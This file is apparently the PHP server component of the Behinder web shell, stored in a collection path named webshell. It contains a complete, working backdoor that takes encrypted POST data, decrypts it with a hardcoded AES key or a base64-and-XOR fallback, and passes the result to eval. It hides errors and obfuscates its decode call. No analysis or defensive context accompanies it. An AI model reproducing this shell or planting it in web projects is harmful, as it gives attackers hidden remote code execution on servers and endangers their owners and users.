webshell/Behinder/shell.php

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PHP
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<?php
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>